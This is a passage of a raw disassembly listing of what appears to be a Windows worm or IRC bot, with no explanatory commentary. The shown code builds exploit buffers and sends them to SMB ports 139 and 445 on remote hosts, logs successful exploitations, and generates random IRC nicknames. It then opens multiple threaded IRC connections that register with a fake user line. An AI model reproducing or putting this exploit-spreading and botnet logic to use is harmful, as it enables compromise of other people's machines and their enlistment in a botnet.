sub_402A06+20p ; sub_402AE1+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_4029AC xor ebx, ebx cmp eax, 7Fh setnl bl lea ebx, [ebx+ebx+1] add eax, ebx push eax call sub_422F79 mov edi, eax pop ecx test edi, edi jnz short loc_4029B0 loc_4029AC: ; CODE XREF: sub_402982+Dj xor al, al jmp short loc_402A02 ; --------------------------------------------------------------------------- loc_4029B0: ; CODE XREF: sub_402982+28j mov eax, [esi+4] add eax, ebx push eax push 0 push edi call sub_4221F0 add esp, 0Ch cmp ebx, 1 jnz short loc_4029D0 mov al, [esi+4] mov [edi], al lea eax, [edi+1] jmp short loc_4029E5 ; --------------------------------------------------------------------------- loc_4029D0: ; CODE XREF: sub_402982+42j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al lea eax, [edi+3] loc_4029E5: ; CODE XREF: sub_402982+4Cj push dword ptr [esi+4] push dword ptr [esi] push eax call sub_4223F0 add esp, 0Ch push dword ptr [esi] call sub_4230B3 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_402A02: ; CODE XREF: sub_402982+2Cj pop edi pop esi pop ebx retn sub_402982 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A06 proc near ; CODE XREF: sub_402B3C+89p ; sub_402B3C+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset word_44D6A0 call sub_402914 lea ecx, [ebp+var_8] call sub_402982 mov eax, [ebp+var_4] inc eax push eax call sub_422F79 mov edi, eax pop ecx test edi, edi jnz short loc_402A40 xor al, al jmp short loc_402A7C ; --------------------------------------------------------------------------- loc_402A40: ; CODE XREF: sub_402A06+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_4221F0 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_4223F0 add esp, 18h mov ecx, esi call sub_402969 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_402969 mov al, 1 loc_402A7C: ; CODE XREF: sub_402A06+38j pop edi pop esi leave retn sub_402A06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A80 proc near ; CODE XREF: sub_402AB4+14p ; sub_402AD1+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_402914 mov ecx, esi call sub_402969 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_402A80 endp ; =============== S U B R O U T I N E ======================================= sub_402AB4 proc near ; CODE XREF: sub_402B3C+F0p ; sub_402B3C+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_422120 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_402A80 pop esi retn 4 sub_402AB4 endp ; =============== S U B R O U T I N E ======================================= sub_402AD1 proc near ; CODE XREF: sub_402B1D+Bp ; sub_402B3C+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_402A80 retn 8 sub_402AD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402AE1 proc near ; CODE XREF: sub_402B1D+16p ; sub_402B3C+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_402982 test al, al jz short loc_402B1A push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_4331F0 call sub_402914 mov ecx, esi call sub_402969 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_402B1A: ; CODE XREF: sub_402AE1+Fj pop esi leave retn sub_402AE1 endp ; =============== S U B R O U T I N E ======================================= sub_402B1D proc near ; CODE XREF: sub_402B3C+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_402AD1 test al, al jz short loc_402B38 mov ecx, esi call sub_402AE1 loc_402B38: ; CODE XREF: sub_402B1D+12j pop esi retn 8 sub_402B1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B3C proc near ; CODE XREF: .text:004030F0p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_4028D0 mov edi, 408h cmp [ebp+arg_8], edi jg loc_402E80 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_402E80 push esi lea ecx, [ebp+var_30] call sub_4028D0 lea ecx, [ebp+var_20] call sub_4028D0 lea ecx, [ebp+var_50] call sub_4028D0 lea ecx, [ebp+var_18] call sub_4028D0 lea ecx, [ebp+var_40] call sub_4028D0 lea ecx, [ebp+var_38] call sub_4028D0 lea ecx, [ebp+var_28] call sub_4028D0 push 4 push offset dword_432F54 lea ecx, [ebp+var_30] call sub_402A80 push 3 push offset dword_432F5C lea ecx, [ebp+var_30] call sub_402A80 lea ecx, [ebp+var_30] call sub_402A06 lea ecx, [ebp+var_30] call sub_402AE1 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_4221F0 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_402A80 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_402A80 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_402A80 lea ecx, [ebp+var_20] call sub_402A06 push offset loc_433214 lea ecx, [ebp+var_50] call sub_402AB4 lea ecx, [ebp+var_50] call sub_402A06 push esi lea eax, [ebp+var_858] push 44h push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_4028DA lea ecx, [ebp+var_58] call sub_402A06 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_402B1D lea ecx, [ebp+var_58] call sub_402969 push esi lea eax, [ebp+var_858] push 43h push eax call sub_4221F0 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_402AB4 push 4 push offset dword_432F60 lea ecx, [ebp+var_18] call sub_402A80 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_402A80 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_402A80 lea ecx, [ebp+var_18] call sub_402A06 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_402AD1 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_402AD1 lea ecx, [ebp+var_40] call sub_402AE1 lea ecx, [ebp+var_18] call sub_402969 lea ecx, [ebp+var_50] call sub_402969 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_402AD1 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_402AD1 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_402AD1 lea ecx, [ebp+var_38] call sub_402AE1 lea ecx, [ebp+var_20] call sub_402969 lea ecx, [ebp+var_30] call sub_402969 lea ecx, [ebp+var_40] call sub_402969 push esi lea eax, [ebp+var_858] push 41h push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_402A80 lea ecx, [ebp+var_28] call sub_402A06 push 2 push offset dword_433208 lea ecx, [ebp+var_28] call sub_402A80 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_402AD1 lea ecx, [ebp+var_28] call sub_402AE1 lea ecx, [ebp+var_38] call sub_402969 lea ecx, [ebp+var_10] call sub_4028D0 lea ecx, [ebp+var_8] call sub_4028D0 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_402AD1 lea ecx, [ebp+var_10] call sub_402982 lea ecx, [ebp+var_28] call sub_402969 push offset dword_433204 lea ecx, [ebp+var_8] call sub_402AB4 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_402AD1 lea ecx, [ebp+var_8] call sub_402982 lea ecx, [ebp+var_10] call sub_402969 push offset a0 ; "0" lea ecx, [ebp+var_10] call sub_402AB4 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_402AD1 lea ecx, [ebp+var_10] call sub_402982 lea ecx, [ebp+var_8] call sub_402969 push offset dword_4331F8 lea ecx, [ebp+var_8] call sub_402AB4 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_402AD1 lea ecx, [ebp+var_8] call sub_402982 lea ecx, [ebp+var_10] call sub_402969 push offset dword_4331F4 lea ecx, [ebp+var_48] call sub_402AB4 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_402AD1 lea ecx, [ebp+var_8] call sub_402969 pop esi loc_402E80: ; CODE XREF: sub_402B3C+1Bj ; sub_402B3C+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop edi pop ebx mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx leave retn sub_402B3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402E92 proc near ; CODE XREF: sub_402F57+A2p ; sub_402F57+C7p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_8] push edi push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 xor edi, edi push eax lea eax, [esi+1] inc edi push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_4542FC ; select cmp eax, edi jnz short loc_402EFA lea eax, [ebp+var_10C] push eax push esi call dword_4541E4 ; __WSAFDIsSet test eax, eax jnz short loc_402EFE loc_402EFA: ; CODE XREF: sub_402E92+54j xor eax, eax jmp short loc_402F0E ; --------------------------------------------------------------------------- loc_402EFE: ; CODE XREF: sub_402E92+66j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_454330 ; recv loc_402F0E: ; CODE XREF: sub_402E92+6Aj pop edi pop esi leave retn sub_402E92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F12 proc near ; CODE XREF: sub_402F57+80p ; sub_402F57+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_454310 ; ntohl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_454350 ; send cmp eax, 4 jz short loc_402F3C xor al, al leave retn ; --------------------------------------------------------------------------- loc_402F3C: ; CODE XREF: sub_402F12+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_454350 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_402F12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F57 proc near ; CODE XREF: sub_403036+48p ; .text:0040318Dp var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_422F79 mov esi, eax pop ecx test esi, esi jnz short loc_402F80 xor al, al jmp loc_403031 ; --------------------------------------------------------------------------- loc_402F80: ; CODE XREF: sub_402F57+20j push ebx push 0 push esi call sub_4221F0 push 2Fh push offset dword_432FF0 push esi call sub_4223F0 push 8 lea eax, [esi+31h] push offset dword_433020 push eax mov [esi+2Fh], di call sub_4223F0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_4223F0 push 6 add ebx, edi push offset dword_44D698 push ebx call sub_4223F0 push 85h push offset dword_432F68 push [ebp+arg_0] call sub_402F12 add esp, 48h test al, al jnz short loc_402FE7 loc_402FE3: ; CODE XREF: sub_402F57+B8j xor bl, bl jmp short loc_403028 ; --------------------------------------------------------------------------- loc_402FE7: ; CODE XREF: sub_402F57+8Aj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_402E92 push [ebp+var_4] push esi push [ebp+arg_0] call sub_402F12 add esp, 1Ch test al, al jz short loc_402FE3 push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_402E92 add esp, 10h mov bl, 1 loc_403028: ; CODE XREF: sub_402F57+8Ej push esi call sub_4230B3 pop ecx mov al, bl loc_403031: ; CODE XREF: sub_402F57+24j pop edi pop esi pop ebx leave retn sub_402F57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403036 proc near ; CODE XREF: .text:00403173p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_433030 push [ebp+arg_0] call dword_454350 ; send cmp eax, 48h jnz short loc_403071 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_402E92 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_403071 cmp [ebp+var_20], 82h jz short loc_403075 loc_403071: ; CODE XREF: sub_403036+1Bj ; sub_403036+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_403075: ; CODE XREF: sub_403036+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_402F57 add esp, 0Ch leave retn sub_403036 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 418h and byte ptr [ebp-418h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-417h] push 7 rep stosd stosw stosb lea eax, [ebp-418h] push offset dword_4331E8 push eax call sub_4223F0 push 158h lea eax, [ebp-418h] push offset dword_432980 push eax call sub_4223F0 lea eax, [ebp-418h] push 400h push eax push 164h lea eax, [ebp-8] push offset sub_433080 push eax call sub_402B3C xor ebx, ebx add esp, 2Ch cmp [ebp-4], ebx jnz short loc_403106 xor eax, eax jmp loc_403219 ; --------------------------------------------------------------------------- loc_403106: ; CODE XREF: .text:004030FDj ; .text:0040311Fj ... test ebx, ebx jnz loc_4031A4 push 6 push 1 push 2 call dword_454394 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_403106 xor eax, eax lea edi, [ebp-16h] stosd push dword ptr [ebp+0C0h] stosd stosd stosw mov word ptr [ebp-18h], 2 call dword_454314 ; ntohs mov [ebp-16h], ax lea eax, [ebp+10h] push eax call dword_45434C ; inet_addr mov [ebp-14h], eax lea eax, [ebp-18h] push 10h push eax push esi call dword_4542AC ; connect cmp eax, 0FFFFFFFFh jz short loc_403198 cmp dword ptr [ebp+0C0h], 8Bh jnz short loc_40317A push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_403036 jmp short loc_403192 ; --------------------------------------------------------------------------- loc_40317A: ; CODE XREF: .text:0040316Aj cmp dword ptr [ebp+0C0h], 1BDh jnz short loc_403198 push dword ptr [ebp-4] push dword ptr [ebp-8] push esi call sub_402F57 loc_403192: ; CODE XREF: .text:00403178j add esp, 0Ch movzx ebx, al loc_403198: ; CODE XREF: .text:0040315Ej ; .text:00403184j push esi call dword_4543AC ; closesocket jmp loc_403106 ; --------------------------------------------------------------------------- loc_4031A4: ; CODE XREF: .text:00403108j lea ecx, [ebp-8] call sub_402969 movzx eax, word_439014 push eax lea esi, [ebp+10h] sub esp, 0D0h push 34h pop ecx mov edi, esp rep movsd call sub_401160 add esp, 0D4h test eax, eax jz short loc_403216 mov eax, [ebp+0C8h] lea eax, [eax+eax*8] shl eax, 3 lea ecx, dword_432090[eax] inc dword ptr [ecx] cmp dword ptr [ebp+0D8h], 0 mov ecx, [ecx] jz short loc_403216 push ecx lea ecx, [ebp+10h] lea eax, dword_432069[eax] push ecx push eax push offset aRaMr15qabm1 ; "RA/Mr15qAbm1" push offset aSSSExD ; "%s %s -> %s (Ex: %d)" push dword ptr [ebp+8] push dword ptr [ebp+0Ch] call sub_4104F6 add esp, 1Ch loc_403216: ; CODE XREF: .text:004031D1j ; .text:004031F0j xor eax, eax inc eax loc_403219: ; CODE XREF: .text:00403101j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40321E: ; DATA XREF: .text:00432004o test byte_631764, 1 jnz short loc_40322E or byte_631764, 1 loc_40322E: ; CODE XREF: .text:00403225j jmp $+5 push offset nullsub_1 call sub_42321A pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40323F proc near ; CODE XREF: sub_403B2C+32A3p ; sub_403B2C+32B0p var_40 = byte ptr -40h var_36 = byte ptr -36h push ebp mov ebp, esp sub esp, 40h push ebx push esi push edi push 0C8h mov ebx, offset byte_44D6A8 push 0 push ebx call sub_4221F0 push 10h mov esi, offset a0123456789abcd ; "0123456789ABCDEFGHIJKLMNOPQRSTUVWXWYZab"... pop ecx lea edi, [ebp+var_40] lea eax, [ebp+var_40] rep movsd push eax call sub_422120 add esp, 10h mov edi, eax xor esi, esi loc_403277: ; CODE XREF: sub_40323F+62j call sub_4220FC test esi, esi cdq jz short loc_40328F idiv edi mov al, [ebp+edx+var_40] mov byte_44D6A8[esi], al jmp short loc_40329D ; --------------------------------------------------------------------------- loc_40328F: ; CODE XREF: sub_40323F+40j lea ecx, [edi-0Ah] idiv ecx mov al, [ebp+edx+var_36] mov byte_44D6A8, al loc_40329D: ; CODE XREF: sub_40323F+4Ej inc esi cmp esi, 67h jl short loc_403277 pop edi mov eax, ebx pop esi pop ebx leave retn sub_40323F endp ; =============== S U B R O U T I N E ======================================= sub_4032AA proc near ; CODE XREF: sub_403B2C+254Cp ; sub_403B2C+27D8p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_433F80 ; "\n" push edi call sub_423270 pop ecx mov esi, offset dword_44D774 pop ecx loc_4032C2: ; CODE XREF: sub_4032AA+42j cmp dword ptr [esi-4], 1 jnz short loc_4032E0 cmp dword ptr [esi], 0 jbe short loc_4032E0 push 0 push edi call sub_422120 pop ecx push eax push edi push dword ptr [esi] call dword_454350 ; send loc_4032E0: ; CODE XREF: sub_4032AA+1Cj ; sub_4032AA+21j add esi, 210h cmp esi, offset dword_453E94 jl short loc_4032C2 pop edi pop esi retn sub_4032AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4032F1 proc near ; CODE XREF: sub_4033F0+168p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_433F94 ; " " push edi push esi push [ebp+arg_0] call sub_422248 xor edi, edi pop ecx inc edi pop ecx mov [ebp+var_20], eax xor ebx, ebx loc_403315: ; CODE XREF: sub_4032F1+35j push esi push ebx call sub_422248 mov [ebp+edi*4+var_20], eax inc edi pop ecx cmp edi, 8 pop ecx jl short loc_403315 cmp [ebp+var_20], ebx mov esi, [ebp+var_1C] jnz short loc_40333C cmp esi, ebx jnz short loc_40333C xor eax, eax inc eax jmp loc_4033EB ; --------------------------------------------------------------------------- loc_40333C: ; CODE XREF: sub_4032F1+3Dj ; sub_4032F1+41j push [ebp+var_20] push offset aRa ; "=RA" call sub_422760 pop ecx pop ecx test eax, eax push esi jnz short loc_40336B push offset aTa ; "=TA" lea eax, [ebp+var_220] push offset aSS_4 ; "%s %s\n" push eax call sub_422063 add esp, 10h jmp short loc_4033CA ; --------------------------------------------------------------------------- loc_40336B: ; CODE XREF: sub_4032F1+5Dj push offset a433 ; "433" call sub_422760 pop ecx test eax, eax pop ecx jz short loc_40338C push esi push offset a432 ; "432" call sub_422760 pop ecx test eax, eax pop ecx jnz short loc_4033E9 loc_40338C: ; CODE XREF: sub_4032F1+88j push 200h lea eax, [ebp+var_420] push ebx push eax call sub_4221F0 lea eax, [ebp+var_420] push eax call sub_403625 lea eax, [ebp+var_420] push eax push offset dword_43C088 lea eax, [ebp+var_220] push offset aSS_4 ; "%s %s\n" push eax call sub_422063 add esp, 20h loc_4033CA: ; CODE XREF: sub_4032F1+78j lea eax, [ebp+var_220] push ebx push eax call sub_422120 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_454350 ; send loc_4033E9: ; CODE XREF: sub_4032F1+99j xor eax, eax loc_4033EB: ; CODE XREF: sub_4032F1+46j pop edi pop esi pop ebx leave retn sub_4032F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4033F0 proc near ; DATA XREF: sub_4035A8+60o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_4220C0 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h xor edi, edi push dword_44D97C[esi] lea eax, dword_44D77C[esi] inc edi push eax mov dword_44D770[esi], edi call sub_414275 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_44D774[esi], eax jb loc_403588 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_4221F0 add esp, 0Ch call dword_42F164 ; GetTickCount push eax call sub_4220EF lea eax, [ebp+var_2008] push eax call sub_403625 lea eax, [ebp+var_4008] push eax call sub_403625 lea eax, [ebp+var_3008] push eax call sub_403625 lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push offset a8hj ; "8HJ" push eax push offset dword_43C088 lea eax, [ebp+var_1008] push offset aSSSSMail_gmail ; "%s %s\n%s %s \"mail.gmail.com\" \"127.0.0.1"... push eax call sub_422063 add esp, 2Ch lea eax, [ebp+var_1008] push ebx push eax call sub_422120 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_44D774[esi] call dword_454350 ; send push edi lea eax, [ebp+var_1008] push ebx push eax call sub_4221F0 add esp, 0Ch loc_4034E2: ; CODE XREF: sub_4033F0+193j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_44D774[esi] call dword_454330 ; recv cmp eax, ebx mov [ebp+var_8], eax jle short loc_403588 xor eax, eax cmp [ebp+var_8], ebx jmp short loc_40357E ; --------------------------------------------------------------------------- loc_403516: ; CODE XREF: sub_4033F0+191j mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_40353D cmp al, 0Ah jz short loc_40353D cmp [ebp+arg_0], 0FA0h jz short loc_40353D mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_403577 ; --------------------------------------------------------------------------- loc_40353D: ; CODE XREF: sub_4033F0+12Fj ; sub_4033F0+133j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_403577 push dword_44D774[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4032F1 pop ecx test eax, eax pop ecx ja short loc_403588 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_4221F0 add esp, 0Ch mov [ebp+arg_0], ebx loc_403577: ; CODE XREF: sub_4033F0+14Bj ; sub_4033F0+152j mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] loc_40357E: ; CODE XREF: sub_4033F0+124j mov [ebp+var_4], eax jnz short loc_403516 jmp loc_4034E2 ; --------------------------------------------------------------------------- loc_403588: ; CODE XREF: sub_4033F0+40j ; sub_4033F0+11Dj ... mov dword_44D770[esi], ebx mov esi, dword_44D774[esi] cmp esi, ebx jbe short loc_40359F push esi call dword_4543AC ; closesocket loc_40359F: ; CODE XREF: sub_4033F0+1A6j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4033F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035A8 proc near ; CODE XREF: sub_403B2C+242Ap var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_403620 loc_4035BA: ; CODE XREF: sub_4035A8+76j xor edi, edi mov eax, offset dword_44D770 loc_4035C1: ; CODE XREF: sub_4035A8+28j cmp [eax], ebx jz short loc_4035D2 add eax, 210h inc edi cmp eax, offset dword_453E90 jl short loc_4035C1 loc_4035D2: ; CODE XREF: sub_4035A8+1Bj cmp edi, 31h jz short loc_403620 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_44D77C[esi] push eax call dword_42F04C ; lstrcpyA mov eax, [ebp+arg_4] mov dword_44D770[esi], 1 mov dword_44D97C[esi], eax lea eax, [ebp+var_8] push eax push ebx push edi push offset sub_4033F0 push ebx push ebx call dword_42F158 ; CreateThread inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_4035BA loc_403620: ; CODE XREF: sub_4035A8+10j ; sub_4035A8+2Dj pop edi pop esi pop ebx leave retn sub_4035A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403625 proc near ; CODE XREF: sub_4032F1+B4p ; sub_4033F0+6Fp ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_10 = qword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_4221F0 add esp, 0Ch call dword_42F164 ; GetTickCount push eax call sub_4220EF pop ecx call sub_4220FC mov [ebp+var_4], eax fild [ebp+var_4] fmul dbl_42F300 call sub_4234BC cmp eax, 1 jnz short loc_40367C call sub_4220FC call sub_4220FC push 63h cdq pop ecx idiv ecx push off_4335A0[edx*4] jmp short loc_403695 ; --------------------------------------------------------------------------- loc_40367C: ; CODE XREF: sub_403625+3Cj call sub_4220FC call sub_4220FC cdq mov ecx, 0D9h idiv ecx push off_433238[edx*4] loc_403695: ; CODE XREF: sub_403625+55j lea eax, [ebp+var_2C] push eax call dword_42F04C ; lstrcpyA push ebx push esi lea eax, [ebp+var_2C] push edi push eax call sub_422120 pop ecx mov ebx, eax push 13h mov [ebp+var_4], ebx pop eax sub eax, ebx mov dword ptr [ebp+var_18+4], eax call sub_4220FC mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul dbl_42F2F8 call sub_4234BC mov esi, eax call sub_4220FC mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fimul [ebp+var_4] fmul dbl_42F2F0 call sub_4234BC cmp ebx, 2 mov edi, offset a_ ; "-|`_\\{[]}" jle short loc_403707 cmp ebx, 3 jnz short loc_4036FE cmp esi, 1 jz short loc_403707 loc_4036FE: ; CODE XREF: sub_403625+D2j cmp eax, 1 jnz loc_4037C0 loc_403707: ; CODE XREF: sub_403625+CDj ; sub_403625+D7j call sub_4220FC mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul dbl_42F2E8 call sub_4234BC push off_4335A0[eax*4] lea eax, [ebp+var_40] push eax call dword_42F04C ; lstrcpyA lea esi, [ebp+ebx+var_2C] movsx eax, byte ptr [esi-1] push eax push edi call sub_4233B0 pop ecx test eax, eax pop ecx jnz short loc_4037AD movsx eax, [ebp+var_40] push eax push edi call sub_4233B0 pop ecx test eax, eax pop ecx jnz short loc_4037AD call sub_4220FC mov dword ptr [ebp+var_10+4], eax dec ebx fild dword ptr [ebp+var_10+4] mov dword ptr [ebp+var_10+4], ebx fild dword ptr [ebp+var_10+4] fmulp st(1), st fmul dbl_42F2F0 call sub_4234BC cmp eax, 1 jnz short loc_4037AD push edi call sub_422120 and dword ptr [ebp+var_10+4], 0 mov dword ptr [ebp+var_10], eax fild 